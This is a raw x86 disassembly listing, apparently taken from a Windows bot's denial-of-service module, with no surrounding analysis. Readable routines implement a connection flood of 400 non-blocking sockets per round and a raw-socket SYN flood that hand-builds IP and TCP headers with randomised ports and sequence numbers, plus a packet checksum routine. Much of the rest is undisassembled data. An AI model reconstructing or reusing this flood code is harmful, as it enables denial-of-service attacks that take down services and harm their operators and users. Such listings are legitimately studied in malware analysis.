		dd 44858D00h, 68FFFFFCh, 200h, 861AE850h, 0C4830000h, 0DC7D3918h
		dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
		dd 0FE44B5FFh, 0FEE8FFFFh, 83FFFF5Ah, 858D14C4h, 0FFFFFC44h
		dd 1FBEE850h, 75FF0000h, 7954E8C8h, 5959FFFFh, 75E89057h
		dd 0FF022CC2h, 15FFFC75h, 4CBA6Ch, 3308458Bh, 3CC06BD2h
		dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
		dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 4378E068h
		dd 9BE85000h, 83000084h, 7D391CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF5A79h, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
		dd 0CFE8C875h, 59FFFF78h, 0E8905759h, 22CC1F0h
dword_413E10	dd 0B8EC8B55h, 10320h, 86E3E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+542Do
		dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 5C15FF00h
		dd 89004CB9h, 858D0845h, 0FFFFFF40h, 1415FF50h,	8B004CBAh
		dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 5815FF50h
		dd 3B004CBAh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
		dd 0FCBC858Dh, 1C68FFFFh, 5000437Ah, 83DDE8h, 0CC48300h
		dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh,	0FEC0858Dh
		dd 0FF50FFFFh, 0FFFEBCB5h, 59BBE8FFh, 0C483FFFFh, 0BC858D14h
		dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF7811E8h, 575959FFh
		dd 2CC133E8h, 0C33B9002h, 408B0C74h, 8B008B0Ch,	0FC458900h
		dd 758903EBh, 8D1C6AFCh, 5053E045h, 8083E8h, 0E84D8300h
		dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
		dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
		dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
		dd 4CB8ECh, 0C0753B46h,	75FFDA7Ch, 8C15FF08h, 8D004CBAh
		dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 4379F068h, 0FE85000h
		dd 83000083h, 5D390CC4h, 532075D8h, 0FCBC858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF58EDh
		dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 43E8D075h
		dd 59FFFF77h, 0E8905359h, 22CC064h
dword_413F9C	dd 0B8EC8B55h, 10310h, 8557E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+5679o
		dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 3E89000h
		dd 500227CBh, 82E7E8h, 116A5900h, 26A026Ah, 0BA5415FFh
		dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 7F82E850h,	0C4830000h
		dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CBA14h
		dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CBA5815h
		dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh,	7068FFFFh
		dd 5000437Ah, 8231E8h, 0CC48300h, 75E87D39h, 858D5720h
		dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
		dd 580FE8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
		dd 0E075FF00h, 0FF7665E8h, 565959FFh, 0BF86E890h, 408B022Ch
		dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh,	2FE81175h
		dd 99000082h, 0FFDCB9h,	42F9F700h, 0FF03EB52h, 15FFDC75h
		dd 4CB9D4h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
		dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
		dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh,	81E1E8h
		dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
		dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah,	106AF045h
		dd 0B3E85750h, 6A000081h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
		dd 0FEFCF085h, 0FF5350FFh, 4CBA3815h, 0D875FF00h, 26C281E8h
		dd 754E9002h, 0DC7D39CEh, 83E8BC75h, 99000081h,	0FFDCB9h
		dd 42F9F700h, 0D415FF52h, 66004CB9h, 0EBF24589h, 50858DA1h
		dd 50FFFFFFh, 0FCCC858Dh, 4468FFFFh, 5000437Ah,	80F9E8h
		dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh,	50E475FFh
		dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 56D7E8FFh, 0C483FFFFh
		dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF752DE8h
		dd 575959FFh, 0BE4EE890h
		db 2Ch,	2
word_4141B2	dw 8B55h		; DATA XREF: sub_401ACD+4CC4o
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
		dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h,	8D500CC4h
		dd 0FFFBEC85h, 7A9868FFh, 0E8500043h, 805Eh, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
		dd 50FFFFFFh, 0FDECB5FFh, 3AE8FFFFh, 83FFFF56h,	858D14C4h
		dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7490E8F0h,	5959FFFFh
		dd 0BDB2E856h, 5F90022Ch
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414251	proc near		; CODE XREF: ___:0041433Ap

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CB9D4
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_41430F
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_41429C:				; CODE XREF: sub_414251+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142A4:				; CODE XREF: sub_414251+7Aj
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_4142C7
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah


loc_4142C7:				; CODE XREF: sub_414251+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_4142A4
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142D5:				; CODE XREF: sub_414251+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	near ptr 71AB3E5Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_4142D5
		push	64h
		call	near ptr 26803B2h
		nop
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142F9:				; CODE XREF: sub_414251+B4j
		push	dword ptr [esi]
		nop
		call	near ptr 71AB1A6Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_4142F9
		dec	[ebp+arg_4]
		jnz	short loc_41429C
		pop	edi
		pop	esi
		pop	ebx


loc_41430F:				; CODE XREF: sub_414251+3Ej
		xor	eax, eax
		leave
		retn
sub_414251	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41C159
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41C159
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_414251
		add	esp, 18h
		test	eax, eax
		jnz	short loc_414349
		push	1
		pop	eax


loc_414349:				; CODE XREF: ___:00414344j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_414358	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: sub_401ACD+636Bo
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
		dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 437AC4h, 7EB8E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF5494E8h
		dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
		dd 0FFFF72EAh, 90565959h, 2CBC0BE8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143F7	proc near		; CODE XREF: ___:004146E5p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB944
		test	eax, eax
		jz	short loc_414437
		xor	eax, eax
		jmp	loc_4146A5
; ---------------------------------------------------------------------------


loc_414437:				; CODE XREF: sub_4143F7+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CBA78
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_41469D
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CB9B4
		cmp	eax, 0FFFFFFFFh
		jz	loc_414693
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CB9D4
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CB9D4
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CB9D4
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CB9D4
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 279044Ah
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27901B7h
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41DB20
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_414522:				; CODE XREF: sub_4143F7+25Dj
					; sub_4143F7+26Bj
		mov	[ebp+var_24], bx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB9D4
		mov	[ebp+var_34], ax
		call	sub_41C2C2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C2C2
		or	edi, eax
		push	edi
		call	dword_4CB9D4
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB9D0
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB9D4
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CBA38
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414667
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 27901B7h
		nop
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_414690
		jl	loc_414522
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_414690
		jmp	loc_414522
; ---------------------------------------------------------------------------


loc_414667:				; CODE XREF: sub_4143F7+247j
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_437AEC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415D38
		add	esp, 10h
		jmp	short loc_414693
; ---------------------------------------------------------------------------


loc_414690:				; CODE XREF: sub_4143F7+25Bj
					; sub_4143F7+269j
		mov	ebx, [ebp+arg_8]


loc_414693:				; CODE XREF: sub_4143F7+78j
					; sub_4143F7+297j
		push	[ebp+var_C]
		call	dword_4CBA6C
		pop	esi


loc_41469D:				; CODE XREF: sub_4143F7+5Bj
		call	dword_4CB92C
		mov	eax, ebx


loc_4146A5:				; CODE XREF: sub_4143F7+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4143F7	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41C159
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41C159
		mov	edi, eax
		call	sub_41C2C2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4143F7
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4146F4
		push	1
		pop	eax


loc_4146F4:				; CODE XREF: ___:004146EFj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_414703	db 55h			; DATA XREF: sub_401ACD+6D3Do
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 7A25h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh
		dd 5DE8h, 50595900h, 0FC6C858Dh, 0C68FFFFh, 5000437Bh
		dd 7B09E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h,	0E8FFFFFEh
		dd 0FFFF50E5h, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
		dd 3BE8F075h, 59FFFF6Fh, 0E8905659h, 22CB85Ch, 8B555E5Fh
		dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
		dd 6583046Ah, 0BB5E00A8h, 0FFh,	0C033066Ah, 0AC7D8D5Ah
		dd 0FF7C8D89h, 45C7FFFFh, 280h,	84758900h, 0C7885589h
		dd 88C45h, 45C70000h, 0C90h, 9445C700h,	11h, 169845C7h
		dd 0C7000000h, 299C45h,	45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
		dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
		dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
		dd 100h, 915FE857h, 89590000h, 5057FC45h, 0B9E815FFh, 75FF004Ch
		dd 5815FFFCh, 8B004CBAh, 6A530C40h, 8B026A03h, 89008B00h
		dd 15FFF445h, 4CBA54h, 56D84D8Dh, 6A026A51h, 45895000h
		dd 0B415FFFCh, 0BE004CB9h, 200h, 7627E856h, 3D8B0000h
		dd 4270B0h, 0F8458959h,	4589D7FFh, 8458BF0h, 29A68h, 6C858900h
		dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0B9D415FFh, 8966004Ch
		dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
		dd 870F0C45h, 0CFh, 79E5E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
		dd 0E2C100FFh, 89D00B18h, 0CBE8F455h, 99000079h, 0F9F7CB8Bh
		dd 0E8AC5589h, 79BEh, 1FA4B999h, 45C60000h, 0F9F745DCh
		dd 4DD45C6h, 0E8D45589h, 79A6h,	0E0458966h, 799DE8h, 990A6A00h
		dd 66F9F759h, 0B095448Bh, 0D415FF50h, 56004CB9h, 0E2458966h
		dd 0B9D415FFh, 8966004Ch, 5D88DE45h, 7974E8E4h,	0E6A0000h
		dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
		dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF60EAE8h, 458966FFh
		dd 0DC458DE6h, 0FF50146Ah, 99E8F875h, 83000083h, 858D14C4h
		dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0BA3815FFh
		dd 1AE9004Ch, 0FFFFFFFFh, 0E2E8F875h, 59000070h, 0FFFC75FFh
		dd 4CBA6C15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
byte_4149C1	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5306o
		dd 440EC81h, 458B0000h,	57565308h, 0F08B686Ah, 0C0BD8D59h
		dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
		dd 19Ch, 88C03359h, 0FFFF609Dh,	66ABF3FFh, 3D8BAAABh, 4270B0h
		dd 0E850D7FFh, 78ACh, 0FF6859h,	36A0000h, 15FF026Ah, 4CBA54h
		dd 89FFF883h, 6675FC45h, 0B96815FFh, 8D50004Ch,	0FFFBC085h
		dd 7C2468FFh, 0E8500043h, 782Ah, 390CC483h, 0FFFF589Dh
		dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
		dd 50FFFFFEh, 0FDC0B5FFh, 2E8FFFFh, 83FFFF4Eh, 858D14C4h
		dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF6C55E8h
		dd 535959FFh, 2CB577E8h, 4D8D9002h, 51046ACCh, 5053026Ah
		dd 0FFCC7589h, 4CB9B415h, 0FFF88300h, 15FF6675h, 4CB968h
		dd 0C0858D50h, 68FFFFFBh, 437BECh, 77ACE850h, 0C4830000h
		dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h,	0FF54B5FFh
		dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF4D84E8h
		dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
		dd 0D7E8FFFFh, 59FFFF6Bh, 0F9E85359h, 90022CB4h, 0FDC4858Dh
		dd 0FF50FFFFh, 4CBA1415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
		dd 437BCC68h, 3BE85000h, 39000077h, 0FFFF589Dh,	755959FFh
		dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
		dd 0B5FF50FFh, 0FFFFFDC0h, 0FF4D14E8h, 14C483FFh, 0FBC0858Dh
		dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 67E8FFFFh, 59FFFF6Bh
		dd 0E8905359h, 22CB488h, 458D106Ah, 0E85053BCh,	73ECh
		dd 660CC483h, 2BC45C7h,	15FF5300h, 4CB9D4h, 0BE458966h
		dd 0FDC4858Dh, 0FF50FFFFh, 4CBA1415h, 0C0458900h, 0FF085D89h
		dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
		dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0B9D415FFh
		dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
		dd 80DC45C6h, 6DD45C6h,	0DE5D8966h, 0C7E82D74h,	8B000076h
		dd 8E6C1F0h, 76BDE8h, 0C1F00300h, 0B3E808E6h, 3000076h
		dd 8E6C1F0h, 76A9E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
		dd 0FFFDC0B5h, 5DD8E8FFh, 5059FFFFh, 0BA1415FFh, 4589004Ch
		dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7676h
		dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 0D415FFFFh
		dd 66004CB9h, 0E8EA4589h, 7656h, 401B999h, 0F9F70000h
		dd 0D415FF52h, 68004CB9h, 12345678h, 0E8458966h, 0B9D015FFh
		dd 4589004Ch, 44858DECh, 68FFFFFEh, 42B0D0h, 7642E850h
		dd 85590000h, 97459C0h,	0C6F05D89h, 0EB02F545h,	44858D5Ch
		dd 68FFFFFEh, 42AEE8h, 7622E850h, 85590000h, 97459C0h
		dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42AEE0h
		dd 7602E850h, 85590000h, 257459C0h, 75D9E8h, 99036A00h
		dd 89F9F759h, 0CBE8F055h, 6A000075h, 0F7599902h, 1ADAF7F9h
		dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
		dd 4CB9D4h, 0F6458966h,	89E0458Bh, 458B9C45h, 66146AE4h
		dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h,	0D415FF06h
		dd 66004CB9h, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
		dd 7FCBE8h, 0E8458D00h,	8D50146Ah, 0E8508045h, 7FBCh, 0FF60858Dh
		dd 346AFFFFh, 5CEDE850h, 8966FFFFh, 458DF845h, 50146AD4h
		dd 0FF60858Dh, 0E850FFFFh, 7F98h, 6AE8458Dh, 858D5014h
		dd 0FFFFFF74h, 7F86E850h, 46A0000h, 5388458Dh, 71CAE850h
		dd 0C4830000h, 60858D44h, 6AFFFFFFh, 0A8E85028h, 66FFFF5Ch
		dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 7F53E8h
		dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h,	503C6AFFh
		dd 0FFFC75FFh, 4CBA3815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
		dd 75FFFFFFh, 6C15FFFCh, 0FF004CBAh, 4CB96815h,	858D5000h
		dd 0FFFFFDC4h, 500875FFh, 437B7C68h, 0C0858D00h, 68FFFFFBh
		dd 200h, 753AE850h, 0C4830000h,	589D3918h, 75FFFFFFh, 858D5323h
		dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
		dd 0FFFFFDC0h, 0FF4A18E8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
		dd 0ED8h, 0FF44B5FFh, 6BE8FFFFh, 59FFFF68h, 0E8905359h
		dd 22CB18Ch, 0FFFC75FFh, 4CBA6C15h, 8458B00h, 0C06BD233h
		dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
		dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
		dd 437B2C68h, 0AFE85000h, 83000073h, 9D391CC4h,	0FFFFFF58h
		dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh,	0FEC4858Dh
		dd 0FF50FFFFh, 0FFFDC0B5h, 4987E8FFh, 0C483FFFFh, 0C0858D14h
		dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF67DAh
		dd 90535959h, 2CB0FBE8h
		db 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_414F31
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414F23:				; CODE XREF: ___:00414F2Bj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414F23
		pop	edi
		cmp	eax, 1


loc_414F31:				; CODE XREF: ___:00414F17j
		jnz	short loc_414F3E
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax


loc_414F3E:				; CODE XREF: ___:loc_414F31j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
byte_414F57	db 55h			; DATA XREF: sub_401ACD+6C68o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 71D1h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh
		dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
		dd 5Fh,	19CC481h, 8D500000h, 0FFFC6C85h, 7C5868FFh, 0E8500043h
		dd 729Eh, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 7AE8FFFFh
		dd 83FFFF48h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h,	75FF0000h
